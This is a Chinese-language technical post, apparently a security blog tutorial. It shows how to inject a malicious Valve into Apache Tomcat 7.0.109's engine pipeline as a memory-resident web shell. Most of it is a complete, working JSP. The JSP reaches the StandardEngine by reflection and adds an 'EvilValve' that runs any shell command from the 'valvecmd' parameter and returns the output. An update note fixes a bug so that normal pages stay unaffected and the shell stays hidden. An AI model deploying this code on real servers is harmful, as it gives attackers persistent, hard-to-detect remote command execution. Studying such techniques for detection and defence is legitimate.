由于Valve并不以实体文件存在,深入容器内部不易发现,且又能执行我们想要的代码逻辑,是一个极好利用点。如果Valve插到最顶层的container也就是Engine,则会对Engine下的所有的context生效。
源码分析
版本:apache-tomcat-7.0.109
目的
已知真正处理请求的地方在CoyoteAdapter的service()方法,其中会调用StandardEngine的getPipline()方法获取其pipeline,随后获取pipeline中第一个valve并调用该valve的invoke方法。

跟进上面源码调用的invoke()方法:
StandardEngineValve继承于ValveBase类。
我们的目标是创建一个Valve并插到最顶层的container也就是Engine。
可以考虑实现一个继承于ValveBase类的evilValve实例,并将该实例添加到Pipeline。
添加Valve
已知通过server.xml会注册一个日志记录的Valve,可以通过它看看如何注册Valve。
AccessLogValve也是继承于ValveBase。看上去只需要两步即可完成Valve的添加。
可回想起前面也调用了getPipeline()方法,对象是StandardEngine。
因此实现步骤可进一步拆解为:
- 创建ValveBase的子类EvilValve,创建实例evilValve。
- 获取StandardEngine对象,调用addValve()方法添加evilValve。
获取StandardEngine对象

这里是jsp文件中通过request对象获取StandardEngine对象的方式,即可以通过反射获取到最后一个变量container。
((StandardService)((ApplicationContext)((StandardContext)((Request)((RequestFacade)request).request).context).context).service).container
或者先调用一次方法getServletContext()方法再反射获取,也是一样的:
实现
- 创建ValveBase的子类EvilValve,创建实例evilValve。
- 通过反射由request获取StandardEngine对象。
- StandardEngine调用addValve()方法添加evilValve。
测试环境:apache-tomcat-7.0.109
<%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.ApplicationContextFacade" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.StandardService" %><%@ page import="org.apache.catalina.core.StandardEngine" %><%@ page import="org.apache.catalina.valves.ValveBase" %><%@ page import="org.apache.catalina.connector.Request" %><%@ page import="org.apache.catalina.connector.Response" %><%@ page import="java.io.IOException" %><%@ page import="java.io.BufferedReader" %><%@ page import="java.io.InputStreamReader" %><%ApplicationContextFacade appCf = (ApplicationContextFacade)request.getServletContext();ApplicationContext appCtx = (ApplicationContext)getFieldValue(appCf, "context");StandardService stdSrv = (StandardService)getFieldValue(appCtx, "service");StandardEngine stdEng = (StandardEngine)getFieldValue(stdSrv, "container");EvilValve evilValve = new EvilValve();stdEng.getPipeline().addValve(evilValve);out.println("注入valve成功!");%><%!public class EvilValve extends ValveBase{@Overridepublic void invoke(Request request, Response response) throws IOException, ServletException {String cmder = request.getParameter("valvecmd");String[] cmd = new String[]{"/bin/sh", "-c", cmder};try {Process ps = Runtime.getRuntime().exec(cmd);BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));StringBuffer sb = new StringBuffer();String line;while ((line = br.readLine()) != null) {sb.append(line).append("\n");}String result = sb.toString();response.getWriter().write(result);} catch (Exception e) {System.out.println("error ");}getNext().invoke(request, response); //20210628-Update}}public static Object getFieldValue(Object obj, String fieldName) throws Exception {Field f = obj.getClass().getDeclaredField(fieldName);f.setAccessible(true);return f.get(obj);}%>
20210628-Update:
代码在测试中发现会导致正常业务页面响应异常,排查发现遗漏了getNext操作。
